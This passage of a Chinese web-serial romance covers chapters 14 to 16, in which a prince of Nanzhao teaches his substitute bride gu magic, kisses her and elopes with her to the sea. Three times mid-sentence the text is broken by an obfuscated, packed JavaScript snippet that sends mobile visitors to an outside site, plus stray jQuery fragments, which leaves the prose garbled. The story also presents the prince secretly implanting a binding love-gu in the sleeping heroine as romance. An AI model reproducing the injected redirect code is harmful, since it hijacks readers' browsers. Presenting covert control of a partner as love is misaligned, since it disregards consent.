“难道长宁不想待在这里?若你想回中原,我陪你一起。”
温萝芙失笑:“你是南诏未来的王。”
#未来王储是恋爱脑怎么办。
她是被迫来和亲的,她自己是想跑,但不能不管不顾的把别人的王储拐跑吧?
若真有选择,她倒想让大周那些王爷皇子们也尝尝远嫁他乡的滋味。让他们也试试穿着十几斤的嫁衣,对着陌生男人强颜欢笑。
“我们可以找个借口一起出去。”庄九黎打断她,“历代苗王都在寻找有一至宝,据说流落中原多年。”他指尖划过她掌心,“我们可以一边游历,一边寻宝。”
他突然想起那个古老的传说。
最优秀的巫祝爱上了蛇神。
神明啊,要如何才能剖白我的爱意?巫祝如是问。
而蛇神回答:若要表达你的爱,那便献上你的心吧。
可万一他的神明说……不需要呢?
他像个溺水之人抓住浮木般攥着她的衣袖。
他想,自己的病或许又发作了,那种焦灼感烧得他五脏俱焚,恨不得将她揉进血肉里,又怕伤害到她。
14.第 14 章
那是谁?
是娅莎,南诏乌蛮的少女,曾与他有过一面之缘。娅莎挽着她的手腕,笑声清脆。她眉眼舒展,是她从未在他面前展露的轻松。
那是谁?
是和尚,本该六根清净的佛子,却与她似有旧缘。和尚唤她温姑娘,而她眼底闪过一丝慌乱。
那是谁?
是沉默如影的男人,与她在月下低语。她递给他信笺,两人指尖相触,庄九黎的几乎要释放出蛊虫噬尽那人的骨血,可最终只是收敛了周身四溢的毒。
那是谁?
竟是他自己,暗处窥影,形同魍魉。
恨不能剜双目,免见她顾盼流辉;又恐自盲后,再难窥其笑靥。
他多想剖开胸膛,把跳动的心脏献给她,可他的神明,似乎不需要他的爱。
她的温柔从不专属于他,原可遍施众生。
温萝芙没有回答他的同游邀约。
“刚刚的男人是谁?你们在做什么?”庄九黎最终还是问了这个问题。
温萝芙:“那是我的暗卫,我在给家人送信。”
不知为何,或许是因为她给出了合理的解释,庄九黎的心稍微放了下来。
“原来是暗卫。”庄九黎点点头。
他确实很容易被哄好——因为他没有暗卫,因为他足够强大,因为他从未需要过别人的保护。
“我会保护你。”他执起温萝芙的手贴在胸口,银锁下的心跳平稳有力,“不需要暗卫。”
温萝芙轻轻抽回了手:“就算你能保护我,暗卫也是有存在的必要的。”
庄九黎:“我不是怀疑你,只是看见你和别人说话的样子,想着你有很多我不知道的事,心里难受。”
“我又何尝不是?”温萝芙反问道,实则她虽然难受,却只是怕自己露馅,“我不知道你是如何成为现在的你,不知道你在南诏国度过的日日夜夜,不知道你征战时杀伐决断的模样。”她的声音渐渐低下去。
庄九黎喜欢的,难道是真正的她吗?
她也根本不了解庄九黎。
因此,她无法回报庄九黎同样的喜欢。
他们之间隔着的,不仅是身份的鸿沟,她甚至不知道对方这份情意从何而起。
这些话,她终究没有说出口。
庄九黎向前一步:“你想知道什么,我都可以告诉你。你能不能……也这样对我?”
温萝芙怎么敢托盘而出:“夫君此言,未免唐突。”
“夫妻之间也算唐突么?”他眼底一片寂寥与失落。
温萝芙答得很快:“我们确实是两国盟约的夫妻。”
她的声音轻柔却疏离:“可并非谁待你好,你便要喜欢谁。”
“你该多看看这世间的人。”
“如果我也有秘密,”他盯着她的眼睛,“你也不介怀?”
“自然。”
“原来如此。”庄九黎轻轻勾了勾嘴角。
两人之间似乎有一根岌岌可危的、悬在半空中的弦,下一瞬就要铮然断裂。
风拂过,庄九黎腰间银锁相击之声清越如碎玉,他深蓝的眸色恍若浸了水。
南诏有种情蛊,名唤长相思。
一旦种下,便是生死相随,至死方休。
若种下情蛊之人不能相守,便会相噬。爱意越是浓烈的那一方,越是痛苦。
不知为何,庄九黎突然想到他们初见那天谈及的话题。
她说得那样坦然,仿佛他的一切都与她无关。
是啊,如果他有秘密,她也不会介怀。
就算他给她下情蛊……也一样。
她不像他重视她一样重视他,可若是情蛊入心,一切就会不一样了。
只是现在还不是时候。
庄九黎想,若要情蛊效力最佳,当以养蛊人的心头血炼化七七四十九天。
温萝芙并不知道方才给自己挖了个坑,以防万一解释道:“我认为喜欢一个人,不该是束缚与占有,而是给予自由与放手。”
庄九黎静立在她身前,他眼底暗潮翻涌,却只是温顺地应道:“夫人说得是。”
“夫人今日要学下蛊吗?”
温萝芙眼中闪过一丝诧异,现在的气氛怪怪的,感觉两个人在吵架。她正思索着怎么建造一个台阶缓和一下,没想到庄九黎竟主动递了台阶。正巧这是她所需要的。
她展颜一笑:“好呀。”
*
南诏的蛊室浸着一股子草木腐熟的腥气。此前,温萝芙虽对蛊虫的初始形态有过粗略的了解,但真正置身这蛊室之中,感受却截然不同。
室内的布置规整得如同图书馆,一格格木架上,摆满了各式各样的盒子和陶罐,虽是白日,阳光却似乎被这蛊室拒之门外。室内弥漫着一股沁骨的阴凉之气,冷风穿堂而入,温萝芙一进门,悬在梁上的银铃便叮铃响起。
“要厉害的蛊,还是温和的蛊?”庄九黎划过木架上排列整齐的漆盒,一一讲解,“厉害的如‘千蛛噬’,中蛊者七窍流血而亡;温和的如‘蝶衣蛊’,可织梦境。”
温萝芙盯着那些漆盒,盒底传来细碎的爬动声,像是砂石在骨瓷上碾过:“厉害的。”
“厉害的蛊需活物试效。” 庄九黎说,“南诏地牢里关押的死囚,明日便要问斩。”
话里话外是拿人类试效果的意思。
温萝芙立刻回答:“那不必了。”
作为一个现代人,她还是接受不了这么不人道的事情。
庄九黎:“那便用我试毒。”
他俯身,语气稀疏平常。
温萝芙无语的拉了庄九黎的袖口一下:“这种恐怖的话怎么能随口说出来呢?就算你百毒不侵也不能拿你做试验吧!我还是炼温和的吧。”
这一个小小的动作,像在庄九黎心口上挠了挠。
他取来一只青瓷瓶,瓶中细看能辨出几尾细如发丝的虫影:“那我们来学习温和的蛊吧。你刚接触蛊术,我想‘蝶衣蛊’比较适合你。”
蝶衣蛊,以百种香花喂养三月的彩蝶为载体,共需炼制十五天,蛊虫停驻于发间时,可让宿主梦境如蝶翼斑斓,甚至能将记忆碎片编织成虚幻美景。过度使用会导致现实与梦境混淆,饲主需定期以露水为蝶翼洗色,方能维持清醒。
讲述完后,庄九黎招来一只彩蝶。
彩蝶栖于庄九黎指尖,薄翼轻颤,折射莹莹幽光。
温萝芙突发奇想问:“有没有什么现成的蛊?拿来便能用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658016|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的那种?”
“有是有。”庄九黎突然想到什么,嗓音低缓,“只是——”
“只是如何?” 温萝芙凑近他问。
“蛊虫认主,需饲主与原主□□交融。”庄九黎盯着指尖蝶,欲说还休。
他指尖微蜷,彩蝶受惊振翅,却未飞离。
温萝芙眼皮一跳:“□□交融?”
“不会是那种交融吧?”
庄九黎偏首,凉玉般的鼻尖几乎抵上她眉心。他肤色极白,眼下薄青与眼尾赤纹相映,衬得他整个人像从黄泉走出来的艳鬼,恰好还生了副勾魂摄魄的皮相。
“我的夫人果真聪慧。”庄九黎的呼吸拂过她鬓角,她发间甜香混着蛊室腥涩,萦绕在两人之间。
他仍是欲说还休的看着温萝芙。
温萝芙心中天人交战,心想果然终究逃不过这一劫。
但不管如何,为了学蛊,她也是同意了。
她静静的等待庄九黎继续解释怎么个交融法。
庄九黎似羞似怯,半晌才低声像鼓起极大勇气那般说:“你亲我一下。”
——就这?
原来所谓□□交融只是亲一下。
温萝芙:不好意思,是我想歪了。
不过,庄九黎竟还懂得亲吻这种事。
亲就亲,反正既为夫妻,同榻而眠已久,又何须扭扭捏捏?
本着好学的心态,温萝芙蜻蜓点水的亲了庄九黎一口。
银饰在他颈间轻轻晃动。
对方伸手抚过她唇畔,极轻地擦过她殷红的唇珠,那凉薄的温度烙在唇上,轻轻一扫却莫名让温萝芙有种触电般的感受。
他说:“不够。”
温萝芙:“……那你们苗疆从前那些蛊虫,都是如何转手的?”
不会人人都要亲一下吧。
庄九黎:“九成九的蛊师,终其一生都只炼自己的蛊,鲜少假手于人。”
“蛊虫认主,需与饲主血脉相通。若贸然转赠,轻则反噬,重则噬主而亡。”
因此,□□交融便是要骗那些蛊虫认主。
其实取血、流泪也可以视作一种方法。
但是庄九黎不想看见她流血,也不想看见她哭。
出于一种别样的私心,他选择了告知亲吻这一方法。
他没有和人接过吻。
这是他的初吻。
庄九黎小心翼翼的呼吸着,声音里带着几分克制的紧张,“需得再深些。”
温萝芙:“啊?好吧。”
她心一横,踮起脚尖,打算再亲他一口。
庄九黎却忽然启唇,露出一点猩红的舌尖。
那里竟缀着一枚精巧的银制舌钉。
红与白碰撞交融,形成极具的感官刺激。
面对庄九黎的索吻,温萝芙微微一怔。
没想到庄九黎深藏不露,还打了个舌钉。
当真是别有洞天……诱人采撷。
是要舌吻吗?
也对,这已经是最直接简单的□□交融的方式了。
她倾身上前。
万籁俱寂。那根弦铮然断裂。虫豸停止了窸窣。所有毒物都在屏息观望。
她轻轻含住了他的唇。
15.第 15 章
银钉冰凉,偏偏他唇舌温热,两相交织,竟生出几分奇妙的滋味。
她忍不住用舌尖轻舔了一下,竟尝到一丝清甜,像含着片将化的雪。
难道有他全身是蛊,血液异于常人的缘故吗?
亲了一会,应该够了。
温萝芙正欲退开,却突然被一只微凉的手扣住了后颈。
少年人骨节分明的手指穿过她散落的发丝,生涩却固执地阻止了她的逃离。
银铃在梁上轻轻一晃。
他唇舌生涩,却追缠不休。那枚银钉时而擦过她舌尖,时而抵住她上颚,搅得人口中发麻。而她唇间的温度比他想象中更柔软,更滚烫。明明是第一次,倒像是要将人拆吃入腹般。
一捧雪落进炭火,在相触的瞬间蒸腾成雾。
这人吻技真是差劲。
温萝芙在迷蒙中想着。
可他的唇舌却意外地好亲,那枚舌钉也不似想象中冰冷,反而随着交缠发出细微的叮当声。
冰雪融化。落在唇上,落在相贴的指尖,落在交错的呼吸里。她听见冰层下水流的声音。
不知纠缠了多久,直到两人呼吸都乱了节奏,温萝芙才轻轻推开了他。
他胸前的银饰不知何时已与她的发丝缠绵在一处,稍一动作便牵扯出细密的疼,两人又花了好一会才解开。
“蛊虫在哪?”她气息未平。
庄九黎眸光流转,轻点她鬓间珠花。一只彩蝶正栖在钗头,翅翼薄如蝉纱。
温萝芙疑惑地抬手,从发饰中小心翼翼地取下一只蝴蝶。
庄九黎:“这便是了。”
温萝芙:“好容易。”
她轻轻摩挲蝴蝶的翅尖,随后将它放回发包。她原以为收服蛊虫要经历什么惊心动魄的仪式,没想到就这样悄无声息地完成了。当然这般轻易,不过是庄九黎有意相赠。
这容易得她有些担忧:“那若有人试图用蛊害我,我发现不了怎么办?”
庄九黎闻言一顿,脑海中立刻浮现出那尚未实施的情蛊计划,他垂下眼睑,将眸中暗潮尽数遮掩道:“有我在,没有其他人敢对夫人下蛊。”
“莫说下蛊之人,便是那蛊虫的来处,我也能顺着气息揪出来。”
温萝芙听了,心中的石头便稍稍落下。
夕阳西斜,余晖透过门缝洒在两人身上,屋内却陷入了一阵沉默。
这一吻之后,两人都能感觉到彼此之间那微妙的变化。
方才唇齿间的温热犹在,气氛有些尴尬,温萝芙不知道该说些什么,目光在屋内四处游移,忽然瞥见窗外飞过的一只海鸟,想起之前庄九黎的看海承诺。
她问道:“你曾说祭典结束后去看海。如今祭典已过,我们何时能去?”
庄九黎:“你若想去,当下即可启程。”
“当真?”温萝芙诧异地瞪大眼睛,对这种说走就走的旅行表示怀疑。
庄九黎:“夫人可会翻墙?”
这是要偷偷溜出去。
温萝芙随即反应过来,瞥了瞥眼前人一眼。
他的唇色比平日潋滟几分,眼尾泛起薄红。方才他亲吻时那样强势,此刻却恢复了往日沉静模样,只是那枚银钉在轻启的唇间若隐若现,让温萝芙心跳莫名有些失序。
她以为庄九黎沉郁内敛,行事应该还算循规蹈矩,却不想他竟会说出这般离经叛道的话来。
她当然想自己逃出南诏皇宫,可这些时日扮演公主的经历让她知道,她完全找不到合适的机会——晨起要按规制梳妆,用膳需循礼制,连散步都有人亦步亦趋,更遑论擅自离宫。
逃离这里,需要一个契机。
今夜或许是一个机会,即便有庄九黎陪同。正因为有庄九黎陪同。
她会来到这里,皆因为这场亲事。
但此刻,她不想去想那么多,只想尽情享受这难得的自由时光。
夜逃王宫,多酷啊!
“翻墙?”温萝芙心头涌起一股久违的恣意,笑起来,“我当然会。”
二人如游鱼般溜回寝殿。
回到房间后,温萝芙迫不及待地找出了一套她觉得适合去海边的衣服。
她褪去繁复宫装,换上了一袭素白纱裙。那裙子用江南特有的丝绸丝织就,如流云泻下,泛着珍珠似的光泽,此刻在月色中更显清透。
她散却金钗,青丝如瀑垂落腰际。
庄九黎本倚在窗边望风,忽听得衣料窸窣声。
他下意识回首,却见月光穿云透雾,将温萝芙笼在一片银辉里。
白纱映着月色流转,领口微敞处,一截玉颈如霜似雪;腰间丝带轻束,隐约勾勒出一抹纤细轮廓。
庄九黎猛地背过身去,忽然觉得口干舌燥,
他干脆自己转身面壁。额头抵着冰凉的砖墙。
“怎么了 ?”温萝芙转了个圈,裙裾绽开如昙花,“这件衣服可有不妥?”
“很好看。”他故作毫不在意,不再看她,“只是海上风大。”
庄九黎快步至衣柜前,驻足片刻,最终拣出一袭围了一圈绒毛的纯白披风。
“夫人过来。”
温萝芙走近,见他已展开披风候在一旁。两人靠得很近,她下意识抬眸,视野中是他垂眸系带的侧脸,高挑的鼻梁在月色下投出一道清冽的影,他指节微屈,指尖绕过她脖颈系带,无意间,轻轻划过她脸颊。
那触感转瞬即逝,两人俱是一怔。
终于系好,庄九黎退后半步,目光在她身上短暂停留:“这样就不会冷了。”
只是……只是明明是替她驱寒,他自己却觉得更热了。
这披风既不会太过厚重,又能抵御夜寒。温萝芙拢了拢柔软的披风,没想到他竟这般细心。
她难掩兴奋,伸出手指向窗外说:“我准备好了。”
庄九黎推开窗,夜风卷着草木气息涌入。他俯身,手臂穿过她膝弯。
“请抱紧我。”
她下意识闭眼,双手环住他脖颈,还未来得及惊呼,整个人已凌空而起。
下一刻,他们已跃入溶溶月色之中。
宫墙的阴影在脚下掠过,温萝芙偷偷睁眼,看见满天繁星都坠进了庄九黎的眼底。
两人踏着飞檐斗拱疾行,偶然惊起栖息在树梢间的夜鸦。
夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672570|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色如墨,南诏国依山而建,层层叠叠,依次而下,而那气势恢宏的皇宫,便雄踞在山的顶峰。万千灯火次第点亮,远处层峦叠嶂隐没在薄雾中,近处飞檐斗拱则错落悬于峭壁。
行至一处观星高台,庄九黎忽然驻足,朝夜空伸出手——
无数莹蓝蝶影从四面八方翩跹而来,起初只是零星光点,渐渐汇成璀璨星河。
蝶翅汇聚,竟在空中架起一座流光溢彩的桥梁。
远远望去,这蝶桥竟像是银河倾泻而下,从眸底,直漫到心尖上去。
“哇,就像鹊桥一样。”温萝芙惊叹出声。
“什么是鹤桥?”庄九黎率先踏上这座蝴蝶桥,偏头回望。
他不知从何处拿出一条柔软的绒毯,仔细地铺在蝴蝶桥上。
铺好后,他转过身向着温萝芙伸出手。
温萝芙的心跳漏了一拍。
有些心动。
她望着他垂落的墨发,望着他眼尾赤纹与月光交相辉映,千万只荧光蝶振翅的轻响,渐渐与她紊乱的呼吸共鸣。
但不能心动。
她想起白日里在蛊室的那个吻,他舌尖的银钉;可她又想起他的残忍,想起他用蛊术面无表情杀人的样子。
她心中像种下了一颗腐烂的种子。
等不来春季,也无法生根发芽。
她不曾忘记,自己不过是被迫替嫁而来,生死悬于王权之上。
在生死之外,也存在着这样的瞬间吗?——值得用命去换的、朝生暮死般短暂却绚烂的梦。
可是,她没有那样浪漫的决心。
她鬼使神差地将手放入了他掌心。
蝶桥开始移动,载着二人轻盈地跳下高台。
下方的马厩里,一匹通体雪白的骏马似有所感,仰首长嘶。庄九黎揽着她跃上马背。
“鹤桥出自于牛郎织女的传说。”温萝芙坐稳后解释,“在中原传说里,每年七夕,喜鹊们会用自己的身体搭成一座桥,让被银河隔开的牛郎织女在这一天相见。就像我们刚才踏过的这座蝴蝶桥一样。”
骏马奔驰在月色下,南诏宫阙渐成星火,海岸线在月光下渐渐清晰,浪花拍岸的声音越来越响,渐渐铺展成一片粼粼的波光。
微风拂面,庄九黎侧目望向温萝芙的侧颜,她的头发上还别着白日的那只蝴蝶,在风中轻轻颤动,连着他的心也不由自主地加速跳动。
庄九黎:“那我们是牛郎织女吗?”
庄九黎:“我不要和你隔开。”
牛郎织女?在她看来,这并不是一个美好的故事,于是温萝芙无奈的摇了摇头。
这是她第一次策马夜奔,一想到自己已经跑出了南诏皇宫,她又觉得轻松了不少。
于是,温萝芙开始有一搭没一搭地和庄九黎聊天。
说来讽刺,尽管庄九黎的身份在一定程度上束缚着她,此刻她却有一种前所未有的解脱感。
阴谋算计,如履薄冰,都被抛在了云层之下。
须臾的自由,只属于这片星空与晚风。
“我常偷溜出宫看海。”庄九黎聊道,“父王母后忙于朝政时,我就躺在海浪里。”
16.第 16 章
月光下的海面像一块被揉皱的银缎,庄九黎会仰面躺在水上,任凭浪涛托起身体。
从记事起他便知晓,想要触碰他人的渴望太过奢侈,甚至带着几分令人作呕的轻浮。
这种渴望是不洁的。因此他厌恶触碰。朝臣觐见时小心翼翼的避让,侍女战战兢兢的触碰,都让他觉得恶心。
触之即死?这传言正好。
若世界拒绝他,他也能拒绝世界。
可身体却背叛得彻底。夜深人静时,每一寸肌肤都渴望触碰他人温暖的肌肤,这种矛盾如附骨之疽,让他觉得自己既可笑又肮脏。
每当这种冲动涌上心头,他便会在无人的角落干呕,直到眼角泛起生理性的泪光。
他时常在深夜潜入冰冷的海水,试图用刺骨的寒意镇压体内躁动的热意。更多时候,他会放任自己沉得更深,任凭浪潮漫过口鼻。咸湿的液体将他包裹,在窒息的边缘,痛苦竟成了救赎。
浮出水面时,他会蜷缩在礁石上发呆。
有时他会用蛊虫自惩。蛊虫在皮肤上爬行,银针划开血肉,锁链勒出淤青。细密的刺痛来替代想象中的爱抚。痛感让他短暂地忘却那些妄念。
直到她出现。
*
听庄九黎说他常在深夜进入深海,温萝芙皱眉道:“这太危险了,你要是被浪卷走怎么办?”
庄九黎:“那便是生死有命。”
温萝芙怀疑此人有那种自毁倾向。竟如此轻贱自己的性命。
温萝芙:“你可是南诏唯一的王嗣。”
言下之意是,你的命不仅属于自己,更系着万千子民的安危。
不过这劝导之言,话到嘴边又咽了回去。说出这种话并不利于她拉好感度。
她话锋一转:“话说为什么南诏只有你一个王嗣?”
即便曾经历叛乱,京城的街道上依旧车水马龙,赵氏皇族依旧枝繁叶茂。单是皇帝膝下便育有十余位公主。比如她现在扮演的身份,便大周国的三公主赵长宁。
于是庄九黎说起南诏往事。
他祖父一统六诏,曾在祭坛以活人鲜血为引,连下七日血蛊。坛下万虫齐鸣,方圆十里草木皆枯,奠定了王室善蛊的基调。三个儿子自幼便各自豢养蛊虫,常以蛊暗害彼此。
最终活下来的,是他的父王楼冥庄。
他曾率奇兵将西南方苗寨尽数收服;又在沧江一役中让敌军寸步难行;更暗中将兄长们的蛊虫血融合。
夺权那日,楼冥庄先用夺魂蛊控制了身经百战的长子,逼其当着满朝文武的面,亲手挖出了次子的双眼,却在最后关头放走了奄奄一息的弟媳,只因她曾在他年少时救过他一命。那名本该成为新妇的女子,醒来时面对的已是亡夫的尸首与染血的新君。
次年,那女子在丧期结束后,主动踏入王宫。有人说她是为了复仇,也有人说她是攀附权势。
他们互相折磨,却又离不开彼此。于是庄九黎在这种扭曲的爱恨中诞生,之后便被扔进了祭坛。
至此,南诏王室的权力更迭,终以至亲相残的惨烈方式落下帷幕。
而这片土地上,也再无人敢挑战楼冥庄的权威。
听得温萝芙瞠目结舌。
这夺权的历史真是鲜血淋漓。
曾经大周国与南诏互通商贸,边境一派祥和。变故起于节度使的一番诬告,如星火燎原般点燃了南诏使臣的怒火。南诏王楼冥庄以此为契机,率军挥师北上。短短三月,南诏兵锋直逼大周国的中心地带。
战火终究烧到了歌舞升平的皇宫,大周国皇帝急召群臣商议,最终决定效仿前朝,以和亲换和平。
就这样,温萝芙顶着长宁公主的名号,踏上了前往南诏的和亲之路。
“我也想听你在大周国的故事。你平时会做什么?”庄九黎歪头问。
温萝芙心道,大意了。
方才只顾听南诏秘辛,竟忘了自己这具身体承载的身份。
好在他没追问皇室权谋,只问起风物人情,倒让她悬着的心落了几分。
但……作为一个公主,平时应该做什么呢?
反正庄九黎也没去过大周,说的不对他又不知道。
“我吗?”温萝芙望着月光下翻涌的蝶群,思绪飘回京城,开始信口胡言,“我在京城这个季节,喜欢出宫闲逛,躲在茶馆听评书先生讲戏文。若运气好,还能蹭到戏班子的后场,看武生翻跟头。”
“到了冬天,我就和朋友们待在一起,围着火盆吃烤红薯,听她们讲哪家铺子又出了新样衣裳。”
海风裹着咸味掠过她鼻腔,那些记忆里的喧嚣热闹,与此刻南诏的浪涛声重叠,竟生出恍如隔世的怅惘。
那京城之景,不知何时才能再见?
庄九黎垂眸聆听,他身边之人褪去了平日里的警惕与疏离,眉眼间晕开柔光。
他根本没有在听温萝芙说了什么,脑子里只有一句话:
她真好看。
交谈间,两人已经来到了海岸边。
庄九黎率先踏上海沙,转身向温萝芙伸出手。她犹豫了一瞬,将手轻轻放入他掌心。
冰凉的海水卷着细沙擦过脚背,远处海天相接,传来鲸鸣似的低沉呜咽。
眼前海,和她曾经的世界的海一样。
无垠的蓝,永恒的涛声,包容着所有未言之痛。
温萝芙褪去鞋袜,赤足踩进湿润的沙砾。南诏的海沙柔软,冰凉的海水漫上来,裹住脚踝,又倏忽退去。她突然跑起来,发梢在咸湿的海风里飞扬。
庄九黎追在身后,他叮嘱道小心浪潮。
话还没说完,一个浪头突然扑上岸,溅湿了他的衣摆。他愣了一瞬,随即追了上去。
两个人的影子在沙滩上忽长忽短,潮水退去的沙滩上,两串脚印一深一浅,渐渐挨在了一起。
天地忽然变得很小。
小到只剩这片沙滩,和耳畔永不止息的潮音。
跑累了,温萝芙仰面倒在沙滩上。庄九黎挨着她躺下。
四目相对的瞬间,星河倒映在彼此眼底。
潮声如摇篮曲般一浪接一浪。温萝芙的眼皮越来越沉,竟不知何时便在涛声里睡去。
见她沉沉睡去,庄九黎支起身,在她眉心落下一个轻如蝶翼的吻,又为她拢了拢衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675928|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
襟。
天地何其浩渺。
墨色苍穹下,银白的浪涛仿若铺展到世界尽头。江月年年,不知待何人。
星垂平野,月涌大江。潮声千年如一日地拍打着亘古的岸。
天地何其广阔。
可他胸腔里翻涌的,却是浓稠的黑暗。
为何望着她酣睡的容颜,想的却是如何将她永远禁锢?
月光暗了下来。
温萝芙已经彻底熟睡。
庄九黎解开衣襟,银链滑落在锁骨。他指尖凝出一线寒光,沿着心口那道旧疤缓缓划开。
血肉分离的瞬间,藏在心室深处的蛊引苏醒了。
蛊引赤如珊瑚,形似并蒂莲的幼芽。他小心翼翼地捧出它,这红色物体在他掌心颤动,每一次搏动都牵扯着心脉。
若在种下情蛊之前有东西作引。会更加成功。
温萝芙在睡梦中轻哼一声。
庄九黎托起她的后颈,将蛊引渡入她唇间。他用目光描摹着她的五官,指尖在她脸颊边流连。
血珠顺着她唇角滑落,他俯身舔舐那滴血,尝到了自己灵魂里腐烂的甜腥。
他心口伤痕渐渐愈合,潮水漫上来,打湿了他垂落的衣摆。
很快,那抹血色被海水稀释,消失得无影无踪。
*
温萝芙陷入了一场绯色的梦。
红线缠绕在她的心口,随着她的挣扎缓缓收束,越是挣扎,那些丝线便越是缠绵,勒进皮肤时却不痛,反倒泛起细密的痒意,将她缓缓拽向花海深处。
她跌跌撞撞地往前走,脚下忽然绽开大片妖异的红莲。红线尽头,花海中央,忽然传来银铃声响。似有一人正勾她前往,她寻声向前。
是庄九黎。
他斜倚在红莲里,衣襟松散地滑至肘间,露出一大片霜雪色的肩颈。
他褪去了平日的靛蓝色衣袍,一黑一白两条细蛇自他颈间缠绕而下。
见她走近,他回眸轻笑,眼尾赤纹随着笑意上挑,比身后万千红莲更艳三分。
“过来。”
他勾了勾手指,丝线忽地收紧,温萝芙跌入他怀中。
庄九黎托起她的下巴,温热的呼吸喷洒在她唇畔:“从见到你的第一眼起,我就想把你困在身边。”
双蛇游弋上来。白蛇缠住她的手腕按在身后,黑蛇则绕上她的腰际。冰凉的触感与庄九黎身上的炽热形成鲜明对比。他的指尖划过她泛红的脸颊,沿着脖颈、锁骨缓缓下移。
空气中弥漫着一股甜香。她看见庄九黎衣摆下若隐若现的腿,听见自己脚踝上锁链撞出凌乱的声响。
他的唇终于落下,带着掠夺与占有欲的吻。舌尖撬开牙关,咬得她发疼。
“现在,你永远都是我的了。”他贴着她的唇呢喃,带着病态的笑意。
他唇间银钉擦过她耳垂,眼底翻涌着晦暗不明的欢愉。
红线将两人紧紧捆在一起,勒得温萝芙喘不过气。
远处传来潮声。
她低头看去,发现足下并非泥土,而是无数蠕动的血色蛊虫。
他们缓缓沉入花海深处。